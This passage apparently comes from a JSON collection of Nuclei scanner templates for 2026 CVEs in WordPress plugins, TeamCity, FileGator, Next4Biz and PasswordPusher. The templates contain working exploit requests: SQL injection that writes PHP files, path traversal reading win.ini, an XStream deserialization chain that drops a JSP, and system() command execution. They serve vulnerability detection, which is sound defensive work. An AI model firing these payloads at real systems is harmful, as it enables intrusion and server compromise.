log=%3C%20area%20id%3Dajaxurl%20href%3D%2F%3Frest_route%3D%2F%26_method%3DGET%26_envelope%3D1%26_jsonp%3Dalert%3E%3C%20div%20id%3Dcolor-picker%20class%3Dreset-pass-submit%3E%3C%20button%20class%3D%22wp-generate-pw%20color-option%22%3EX&pwd=x&wp-submit=Log+In\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"<area[^>]*id=[\\\"']?ajaxurl\"\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        part: body\n        regex:\n          - \"<area[^>]*id=[\\\"']?ajaxurl[^>]*>\"\n# digest: 4b0a0048304602210088b7020513b8b6e4d109f8beeefffba2fa44fa3fbb6e9411ed40eb7239d167d8022100f94f9d560e79ab4fc325308925f9b3b232c2412d83b0c24e0357ff751490be37:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-64638.yaml","vuln_id":"cve-2026-64638"},{"raw":"id: CVE-2026-6433\n\ninfo:\n  name: FlipperCode Custom CSS, JS & PHP <= 2.0.7 - Remote Code Execution\n  author: theamanrawat\n  severity: critical\n  description: |\n    Custom css-js-php WordPress plugin through 2.0.7 contains a command injection caused by unsanitized user input used in SQL query and passed to eval(), letting unauthenticated attackers execute arbitrary PHP code on the server.\n  impact: |\n    Unauthenticated attackers can execute arbitrary PHP code on the server, leading to full server compromise.\n  remediation: |\n    Update to the latest version.\n  reference:\n    - https://wpscan.com/vulnerability/a0b1c059-e156-4402-ac8d-67f8ad7386cc/\n    - https://github.com/murrez/CVE-2026-6433\n    - https://patchstack.com/database/wordpress/plugin/custom-css-js-php/vulnerability/wordpress-custom-css-js-php-plugin-2-0-7-unauthenticated-sql-injection-to-rce-vulnerability\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-6433\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-6433\n    epss-score: 0.01195\n    epss-percentile: 0.68143\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: flippercode\n    product: custom-css-js-php\n    framework: wordpress\n    shodan-query: http.component:\"WordPress\"\n  tags: cve,cve2026,wordpress,wp-plugin,sqli,rce,custom-css-js-php,unauth,intrusive,vkev\n\nvariables:\n  filename: \"{{rand_text_alpha(8)}}\"\n  marker: \"{{rand_text_alpha(12)}}\"\n\nflow: |\n  http(1) && http(2) && http(3);\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=fc_ajax_call&operation=wce_editor_inline_code&id=0+UNION+SELECT+1,'t','php',0x3c3f7068702066696c655f7075745f636f6e74656e74732827{{hex_encode(filename)}}2e747874272c27{{hex_encode(marker)}}27293b203f3e,'header','',0,1--+\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200 || status_code == 500\"\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-admin/{{filename}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{marker}}\"\n\n      - type: status\n        status:\n          - 200\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=fc_ajax_call&operation=wce_editor_inline_code&id=0+UNION+SELECT+1,'t','php',0x3c3f7068702040756e6c696e6b2827{{hex_encode(filename)}}2e74787427293b203f3e,'header','',0,1--+\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"true\"\n        internal: true\n# digest: 490a004630440220101b4d104a45f5ca33c151f1f966e11f9bd19ce24275ebe82e670ec40681f26e0220382e7a6701946f12ea5f29e56cbcfbf8911bd53e2bc4033274b690cc4133b9b3:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-6433.yaml","vuln_id":"cve-2026-6433"},{"raw":"id: CVE-2026-6377\n\ninfo:\n  name: Next4Biz CSM - Arbitrary File Read via DownloadFileHandler\n  author: 1dayexploit\n  severity: high\n  description: |\n    Next4Biz CSM exposes the DownloadFileHandler.ashx endpoint, whose file parameter is passed to a path helper that never confirms the resolved path stays inside the upload directory before the file is streamed back. Because Path.Combine returns an absolute second argument verbatim, an unauthenticated attacker can supply an absolute Windows path and read any file the IIS application pool identity can open.\n  impact: |\n    Unauthenticated attackers can read arbitrary files from the server, including application configuration and secrets, which can lead to further compromise.\n  remediation: |\n    Update to the vendor-provided fixed release.\n  reference:\n    - https://1dayexploit.com/blog/cve-2026-6377-next4biz-csm-path-traversal/\n    - https://github.com/1dayexploit/advisories/tree/main/advisories/cve-2026-6377-next4biz-csm-path-traversal\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-6377\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cve-id: CVE-2026-6377\n    epss-score: 0.01761\n    epss-percentile: 0.78071\n    cwe-id: CWE-22\n  metadata:\n    verified: false\n    max-request: 1\n    vendor: next4biz\n    product: csm\n  tags: cve,cve2026,next4biz,fileread,traversal\n\nhttp:\n  - raw:\n      - |\n        GET /Handlers/DownloadFileHandler.ashx?file=C:\\Windows\\win.ini HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: body\n        words:\n          - \"[fonts]\"\n          - \"[extensions]\"\n          - \"[mci extensions]\"\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"filename=win.ini\"\n# digest: 4a0a0047304502207083aba90cb239bd0b37f1dd751265d30778fa11085c5ab32ab6376682e39773022100e767774f444cdbea46448974c030a1eeb632e9c9cdb1a5d834805e8903b036c6:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-6377.yaml","vuln_id":"cve-2026-6377"},{"raw":"id: CVE-2026-63358\n\ninfo:\n  name: FileGator < 7.14.2 - Privilege Escalation\n  author: moizxsec\n  severity: high\n  description: |\n    FileGator accepts arbitrary Unix permission values via the '/chmoditems' API endpoint and passes the value directly to PHP's native 'chmod()' function through 'octdec()' conversion, with no validation. This allows an authenticated user with 'chmod' permission to upgrade their privileges to root.\n  impact: |\n    An authenticated user with the chmod permission can assign arbitrary Unix permissions (e.g. setuid or world-writable), leading to privilege escalation.\n  remediation: |\n    Upgrade to FileGator 7.14.2 or later.\n  reference:\n    - https://github.com/advisories/GHSA-9m9p-7p6h-xv99\n    - https://www.cve.org/CVERecord?id=CVE-2026-63358\n    - https://github.com/filegator/filegator/blob/master/CHANGELOG.md#7142---2026-05-18\n    - https://github.com/filegator/filegator/commit/4a44ed9a43f84505703dce669c68fb55270c3f2c\n  classification:\n    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L\n    cvss-score: 7.3\n    cve-id: CVE-2026-63358\n    epss-score: 0.00509\n    epss-percentile: 0.43599\n    cwe-id: CWE-732\n    cpe: cpe:2.3:a:filegator:filegator:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: filegator\n    product: filegator\n    shodan-query: http.title:\"FileGator\"\n    fofa-query: title=\"FileGator\"\n  tags: cve,cve2026,filegator,privesc\n\nhttp:\n  - raw:\n      - |\n        GET /?r=/getconfig HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        GET /index.php?r=/getconfig HTTP/1.1\n        Host: {{Hostname}}\n\n    stop-at-first-match: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"\\\"app_name\\\"\", \"FileGator\", \"\\\"app_version\\\"\")'\n          - 'contains(content_type, \"application/json\")'\n          - 'compare_versions(version, \"< 7.14.2\")'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - '\"app_version\":\\s*\"([0-9.]+)\"'\n\n      - type: regex\n        part: body\n        group: 1\n        regex:\n          - '\"app_version\":\\s*\"([0-9.]+)\"'\n# digest: 4b0a00483046022100f3b1ce7a7cbbe784109690ccfba0073317413d66a9a02f980bbd873f80949f40022100855c1e27ca4e0bbce354436bf2439a6c2989406363c8988bc8f21133b9d1f903:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-63358.yaml","vuln_id":"cve-2026-63358"},{"raw":"id: CVE-2026-63077\n\ninfo:\n  name: JetBrains TeamCity < 2026.1.3, 2025.11.7 - Remote Code Execution\n  author: 0x_Akoko,pdteam\n  severity: critical\n  description: |\n    JetBrains TeamCity < 2026.1.3, 2025.11.7 contains a remote code execution caused by unsafe XStream deserialization in the unauthenticated agent polling protocol. The XStream instance serving /app/agents/v1 is created without NoTypePermission.NONE, so XStream's default type permissions (Throwable, Map and Collection hierarchies) remain in effect next to the TeamCity allowlist. An unauthenticated attacker registers an agent, obtains a TeamCity-AgentSessionId, and posts an XStream XML object graph to /app/agents/v1/commands/error that makes TeamCity write an attacker-controlled file into the webroot. This template writes an arithmetic-canary JSP (no OS command execution) and matches its evaluated output.\n  impact: |\n    Unauthenticated remote attackers can execute arbitrary code with the privileges of the TeamCity server process.\n  remediation: |\n    Upgrade to TeamCity 2026.1.3, 2025.11.7 or later.\n  reference:\n    - https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/\n    - https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/\n    - https://github.com/sfewer-r7/CVE-2026-63077\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-63077\n    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-63077\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-63077\n    cwe-id: CWE-502\n    epss-score: 0.94887\n    epss-percentile: 0.9986\n    cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: jetbrains\n    product: teamcity\n    shodan-query: title:\"TeamCity\"\n    fofa-query: title=\"TeamCity\"\n  tags: cve,cve2026,jetbrains,teamcity,rce,deserialization,kev,intrusive,vkev\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(body, \"TeamCity\", \"teamcity\", \"JetBrains\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /app/agents/v1/register HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/xml\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        <agentDetails agentName=\"nuclei-{{randstr}}\" agentAddress=\"127.0.0.1\" agentPort=\"9090\" authToken=\"nuclei-{{randstr}}\" pingCode=\"\">\n          <alternativeAddresses/>\n          <availableRunners/>\n          <availableVcs/>\n          <buildParameters/>\n          <configParameters/>\n        </agentDetails>\n\n    extractors:\n      - type: regex\n        name: session\n        part: header\n        group: 1\n        regex:\n          - '(?i)teamcity-agentsessionid: ([^\\r\\n]+)'\n        internal: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(to_lower(header), \"teamcity-agentsessionid:\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /app/agents/v1/commands/error HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/xml\n        TeamCity-AgentSessionId: {{session}}\n        TeamCity-AgentCommandId: 123456\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        <linked-hash-map>\n          <entry>\n            <string>n1</string>\n            <jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>\n              <outer-class>\n                <myHSQLStorage>\n                  <myDataSource>\n                    <defaultTransactionIsolation>-1</defaultTransactionIsolation>\n                    <cacheState>true</cacheState>\n                    <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>\n                    <lifo>true</lifo>\n                    <maxTotal>8</maxTotal>\n                    <maxIdle>8</maxIdle>\n                    <minIdle>0</minIdle>\n                    <initialSize>0</initialSize>\n                    <maxWaitMillis>-1</maxWaitMillis>\n                    <poolPreparedStatements>false</poolPreparedStatements>\n                    <clearStatementPoolOnReturn>false</clearStatementPoolOnReturn>\n                    <maxOpenPreparedStatements>-1</maxOpenPreparedStatements>\n                    <testOnCreate>false</testOnCreate>\n                    <testOnBorrow>true</testOnBorrow>\n                    <testOnReturn>false</testOnReturn>\n                    <timeBetweenEvictionRunsMillis>-1</timeBetweenEvictionRunsMillis>\n                    <numTestsPerEvictionRun>3</numTestsPerEvictionRun>\n                    <minEvictableIdleTimeMillis>1800000</minEvictableIdleTimeMillis>\n                    <softMinEvictableIdleTimeMillis>-1</softMinEvictableIdleTimeMillis>\n                    <evictionPolicyClassName>org.apache.commons.pool2.impl.DefaultEvictionPolicy</evictionPolicyClassName>\n                    <testWhileIdle>false</testWhileIdle>\n                    <password/>\n                    <url>jdbc:hsqldb:mem:nuclei{{randstr}}</url>\n                    <userName>SA</userName>\n                    <validationQueryTimeoutSeconds>-1</validationQueryTimeoutSeconds>\n                    <connectionInitSqls>\n                      <string>CREATE TABLE TN{{randstr}}(CN{{randstr}} VARCHAR(4000))</string>\n                      <string>INSERT INTO TN{{randstr}} VALUES ('&lt;p&gt;&lt;%=7*6%&gt;&lt;/p&gt;PD-TP-CONFIRMED')</string>\n                      <string>SCRIPT '../webapps/ROOT/pd-tp-{{randstr}}.jspws'</string>\n                    </connectionInitSqls>\n                    <accessToUnderlyingConnectionAllowed>false</accessToUnderlyingConnectionAllowed>\n                    <maxConnLifetimeMillis>-1</maxConnLifetimeMillis>\n                    <logExpiredConnections>true</logExpiredConnections>\n                    <autoCommitOnReturn>true</autoCommitOnReturn>\n                    <rollbackOnReturn>true</rollbackOnReturn>\n                    <fastFailValidation>false</fastFailValidation>\n                    <connectionProperties/>\n                    <closed>false</closed>\n                  </myDataSource>\n                  <myStopped>false</myStopped>\n                  <myDatabaseOpen>false</myDatabaseOpen>\n                </myHSQLStorage>\n              </outer-class>\n            </jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>\n          </entry>\n          <entry>\n            <string>n2</string>\n            <freemarker.ext.beans.HashAdapter>\n              <wrapper>\n                <sharedIntrospectionLock/>\n                <classIntrospector>\n                  <exposureLevel>0</exposureLevel>\n                  <exposeFields>false</exposeFields>\n                  <treatDefaultMethodsAsBeanMembers>false</treatDefaultMethodsAsBeanMembers>\n                  <incompatibleImprovements>\n                    <major>2</major>\n                    <minor>3</minor>\n                    <micro>0</micro>\n                    <intValue>2003000</intValue>\n                    <calculatedStringValue>2.3.0</calculatedStringValue>\n                    <hashCode>0</hashCode>\n                  </incompatibleImprovements>\n                  <hasSharedInstanceRestrictions>false</hasSharedInstanceRestrictions>\n                  <shared>false</shared>\n                  <sharedLock reference=\"../../sharedIntrospectionLock\"/>\n                  <cache/>\n                  <cacheClassNames/>\n                  <classIntrospectionsInProgress/>\n                  <modelFactories/>\n                  <clearingCounter>0</clearingCounter>\n                </classIntrospector>\n                <falseModel>\n                  <object reference=\"../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource\"/>\n                  <wrapper reference=\"../..\"/>\n                  <value>false</value>\n                </falseModel>\n                <writeProtected>false</writeProtected>\n                <defaultDateType>0</defaultDateType>\n                <methodsShadowItems>true</methodsShadowItems>\n                <simpleMapWrapper>false</simpleMapWrapper>\n                <strict>false</strict>\n                <preferIndexedReadMethod>true</preferIndexedReadMethod>\n                <incompatibleImprovements reference=\"../classIntrospector/incompatibleImprovements\"/>\n              </wrapper>\n              <model reference=\"../wrapper/falseModel\"/>\n            </freemarker.ext.beans.HashAdapter>\n          </entry>\n          <entry>\n            <string>n3</string>\n            <set>\n              <org.apache.commons.collections.keyvalue.TiedMapEntry>\n                <map class=\"freemarker.ext.beans.HashAdapter\" reference=\"../../../../entry[2]/freemarker.ext.beans.HashAdapter\"/>\n                <key class=\"string\">connection</key>\n              </org.apache.commons.collections.keyvalue.TiedMapEntry>\n            </set>\n          </entry>\n        </linked-hash-map>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 500'\n        internal: true\n\n  - raw:\n      - |\n        GET /pd-tp-{{randstr}}.jspws HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"PD-TP-CONFIRMED\"\n\n      - type: word\n        part: body\n        words:\n          - \"<%=7*6%>\"\n        negative: true\n\n      - type: status\n        status:\n          - 200\n\n      - type: status\n        status:\n          - 200\n# digest: 490a004630440220112d7b5fb6870a66204fdc3ebd3a319028d523bc2a1ba20991beb3621b3daa0c022062e26999bb1b3470daf258de4fa660f4bfa7281b4365c884a2fc9e38bb20def2:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-63077.yaml","vuln_id":"cve-2026-63077"},{"raw":"id: CVE-2026-63030\n\ninfo:\n  name: WordPress Core 6.9-7.0.1 - Pre-Auth Batch-Route Confusion\n  author: slcyber,mielverkerken,pdteam,flx-0x00\n  severity: critical\n  description: |\n    WordPress core versions 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1 are vulnerable to a pre-authentication route confusion issue in the REST API batch endpoint (/?rest_route=/batch/v1). A malformed nested batch request desynchronizes the batch router, allowing unauthenticated requests to reach unintended REST API handlers and bypass authorization checks. This route confusion can be chained with a SQL injection flaw (CVE-2026-60137) in the author_exclude parameter to extract database contents and ultimately achieve remote code execution. This template safely detects the vulnerable handler state via the route confusion behavior alone, without executing SQL or relying on response timing.\n  impact: |\n    The route confusion allows unauthenticated requests to reach REST API handlers they should not be able to access. When chained with the associated SQL injection, an unauthenticated attacker can read the entire WordPress database (including user credential hashes) and escalate to full site compromise and remote code execution.\n  remediation: |\n    Update WordPress immediately to version 6.9.5 or 7.0.2. As a temporary mitigation, block POST requests to /wp-json/batch/v1 and /?rest_route=/batch/v1 at the WAF or reverse proxy level.\n  reference:\n    - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q\n    - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf\n    - https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core\n    - https://www.aikido.dev/blog/unauthenticated-rce-in-wordpress-wp2shell\n    - https://wordpress.org/news/2026/07/wordpress-7-0-2-release/\n    - https://github.com/sergiointel/wp2shell-poc/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-63030\n    epss-score: 0.10649\n    epss-percentile: 0.95812\n    cwe-id: CWE-287\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: wordpress\n    product: wordpress\n    framework: wordpress\n    shodan-query: http.component:\"wordpress\"\n    fofa-query: app=\"WordPress\"\n  tags: cve,cve2026,wordpress,wp-core,preauth,batch-api,route-confusion,vkev,kev\n\nflow: http(1) && http(2)\n\nhttp:\n  # Step 1: Confirm the target is a WordPress site before probing the batch endpoint\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"wp-content\") || contains(body, \"wp-includes\") || contains(tolower(header), \"rest_route\") || contains(tolower(header), \"wp-json\")'\n        internal: true\n\n  # Step 2: Safe route-confusion detection (no SQL execution, no timing oracle)\n  - raw:\n      - |\n        POST /?rest_route=/batch/v1 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"requests\":[{\"method\":\"POST\",\"path\":\"///\"},{\"method\":\"POST\",\"path\":\"/wp/v2/posts\"},{\"method\":\"POST\",\"path\":\"/wp/v2/block-renderer/core/archives\"},{\"method\":\"POST\",\"path\":\"/batch/v1\",\"body\":{\"requests\":[]}}]}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"parse_path_failed\"\n          - \"block_cannot_read\"\n          - \"rest_batch_not_allowed\"\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 207\n# digest: 4b0a00483046022100fe7da7887e7768b0c5c192d5e147636a04e39047139669e86cb88bfe6ca9f0b5022100c06a55303ad23ef8775e61088ed00e91568609b7f8071c0668370cc7889375b9:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-63030.yaml","vuln_id":"cve-2026-63030"},{"raw":"id: CVE-2026-6279\n\ninfo:\n  name: Avada Builder (fusion-builder) <= 3.15.2 - Unauthenticated RCE via PHP Function Injection\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    The Avada Builder (fusion-builder) plugin for WordPress (versions <= 3.15.2) is vulnerable to unauthenticated remote code execution via PHP function injection. The fusion_get_widget_markup AJAX action is registered for unauthenticated users (wp_ajax_nopriv_fusion_get_widget_markup) and is gated only by check_ajax_referer('fusion_load_nonce') - which validates nonce integrity, not user identity. That nonce is minted with wp_create_nonce() for user ID 0 and is deterministically inlined into the JavaScript (fusionPostCardsVars / fusionTableOfContentsVars, key \"nonce\") of any public page that renders a [fusion_post_cards] or [fusion_table_of_contents] shortcode. The attacker-controlled render_logics parameter is base64-decoded and JSON-decoded, and in the wp_conditional_tags case of Fusion_Builder_Conditional_Render_Helper::get_value() the decoded function and args are passed directly to call_user_func() with no allowlist, enabling arbitrary PHP function (and thus OS command) execution.\n  impact: |\n    Unauthenticated remote code execution. An anonymous attacker who scrapes the public UID-0 nonce can invoke any single-argument PHP function (system, passthru, shell_exec, exec, file_get_contents, assert, ...), achieving full server compromise, data exfiltration and web shell deployment.\n  remediation: |\n    Update Avada Theme / Avada Builder (fusion-builder) to version 3.15.3 or later, which adds a function allowlist to the wp_conditional_tags render_logics handler.\n  reference:\n    - https://github.com/advisories/GHSA-f53p-382v-8pj7\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-6279\n    - https://plugins.trac.wordpress.org/browser/fusion-builder/tags/3.15.0/inc/helpers/class-fusion-builder-conditional-render-helper.php#L1531\n    - https://github.com/xxconi/CVE-2026-6279\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-6279\n    epss-score: 0.09885\n    epss-percentile: 0.95587\n    cwe-id: CWE-74\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: themefusion\n    product: fusion-builder\n    framework: wordpress\n    shodan-query: http.component:\"Avada Theme\"\n    fofa-query: body=\"fusion-builder\" && body=\"avada\"\n  tags: cve,cve2026,wordpress,wp-plugin,rce,injection,unauth,avada,fusion-builder,vkev\n\nvariables:\n  cmd: \"id\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/fusion-builder/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'contains_any(body, \"Avada Builder\", \"fusion-builder\")'\n          - 'compare_versions(plugin_version, \"<= 3.15.2\")'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: plugin_version\n        part: body\n        group: 1\n        regex:\n          - \"(?i)Stable tag:\\\\s*([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?)\"\n        internal: true\n\n  - raw:\n      - |\n        GET {{path}} HTTP/1.1\n        Host: {{Hostname}}\n\n    payloads:\n      path:\n        - \"/\"\n        - \"/blog/\"\n        - \"/blog-cards/\"\n        - \"/news/\"\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(body, \"fusionPostCardsVars\", \"fusionTableOfContentsVars\")'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: fusion_nonce\n        part: body\n        group: 1\n        regex:\n          - 'fusion(?:PostCards|TableOfContents)Vars\\s*=\\s*\\{[^}]*?\"nonce\"\\s*:\\s*\"([a-f0-9]{8,})\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        X-Requested-With: XMLHttpRequest\n\n        action=fusion_get_widget_markup&fusion_load_nonce={{fusion_nonce}}&widget_type=WP_Widget_Recent_Posts&type=WP_Widget_Recent_Posts&widget_id=2&number=2&render_logics={{url_encode(base64(concat('{\"type\":\"wp_conditional_tags\",\"value\":{\"function\":\"system\",\"args\":\"', cmd, '\"}}')))}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"uid=\",\"gid=\")'\n          - 'status_code == 200'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: command_output\n        part: body\n        group: 1\n        regex:\n          - \"(uid=[0-9]+\\\\([a-z0-9_-]+\\\\)[^<\\\\n]*)\"\n# digest: 4a0a0047304502204e5c76740908a98d8e3739fecccd45e7e5f64bf794d2beff88b812e8d0b59326022100f93bb6859a4727f915db76ecf451a1c47950ab490821cab57fb52a571faf8bda:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-6279.yaml","vuln_id":"cve-2026-6279"},{"raw":"id: CVE-2026-62382\n\ninfo:\n  name: PasswordPusher v1.45.11-v2.9.5 - Unauthenticated Anonymous Push Deletion via Ownership Bypass\n  author: DhiyaneshDk\n  severity: medium\n  description: |\n    PasswordPusher v1.45.11 through v2.9.5 allows unauthenticated deletion of anonymous pushes due to a nil==nil ownership-check bypass (CWE-863). The deletion guard evaluates (@push.user == current_user) || @push.deletable_by_viewer. For anonymous pushes, @push.user is nil; for unauthenticated requests, current_user is nil. Ruby evaluates nil==nil as true, so the ownership check passes and the deletable_by_viewer=false restriction is completely bypassed. Anyone who knows the secret URL token can permanently expire an anonymous push without any credentials.\n  impact: |\n    An unauthenticated attacker who knows a push's secret URL token can permanently delete (expire) any anonymous push, even when the push creator explicitly set deletable_by_viewer to false.\n  remediation: |\n    Upgrade PasswordPusher to v2.9.6 or later.\n  reference:\n    - https://github.com/pglombardo/PasswordPusher/security/advisories/GHSA-jf2m-hpj9-4qx2\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-62382\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L\n    cvss-score: 6.9\n    cve-id: CVE-2026-62382\n    epss-score: 0.01169\n    epss-percentile: 0.67494\n    cwe-id: CWE-863\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: pglombardo\n    product: passwordpusher\n    shodan-query: title:\"Password Pusher\"\n    fofa-query: body=\"Password Pusher\"\n  tags: cve,cve2026,passwordpusher,authz-bypass,intrusive,file-upload\n\nflow: |\n  http(\"create-push\");\n  if (template[\"url_token\"] != \"\") {\n    http(\"delete-push\");\n  }\n\nhttp:\n  - id: create-push\n    raw:\n      - |\n        POST /p.json HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Accept: application/json\n\n        {\"password\":{\"payload\":\"nuclei-{{randstr}}\",\"deletable_by_viewer\":false,\"expire_after_views\":10}}\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'contains(body, \"url_token\")'\n          - 'status_code == 201'\n        condition: and\n\n    extractors:\n      - type: json\n        name: url_token\n        json:\n          - '.url_token'\n        internal: true\n\n  - id: delete-push\n    raw:\n      - |\n        DELETE /p/{{url_token}}.json HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"\\\"expired\\\":true\", \"\\\"deleted\\\":true\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 490a004630440220562e27419215de94d01eeaa65dc292077729749d294a35bc5e309eee095b8a55022031bd44cff9e31d1c9535ef9be0b312aa34ce8e74461b97279547ef3390187475:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-62382.yaml","vuln_id":"cve-2026-62382"},{"raw":"id: CVE-2026-6203\n\ninfo:\n  name: User Registration & Membership WordPress plugin - Open Redirect\n  author: theamanrawat\n  severity: medium\n  description: |\n    User Registration & Membership WordPress plugin <= 5.1.4 contains an open redirect caused by insufficient validation of 'redirect_to_on_logout' parameter, letting attackers redirect users to malicious external URLs after logout, exploit requires crafted URL.\n  impact: |\n    Attackers can redirect users to malicious sites after logout, facilitating phishing attacks and user deception.\n  remediation: |\n    Update to a version later than 5.1.4 or the latest available version.\n  reference:\n    - https://patchstack.com/database/vulnerability/wordpress-user-registration-membership-plugin-5-1-4-unauthenticated-open-redirect-via-redirect-to-on-logout-parameter-vulnerability\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-6203\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2026-6203\n    epss-score: 0.00663\n    epss-percentile: 0.518\n    cwe-id: CWE-601\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: http.html:\"/wp-content/plugins/user-registration/\"\n    fofa-query: 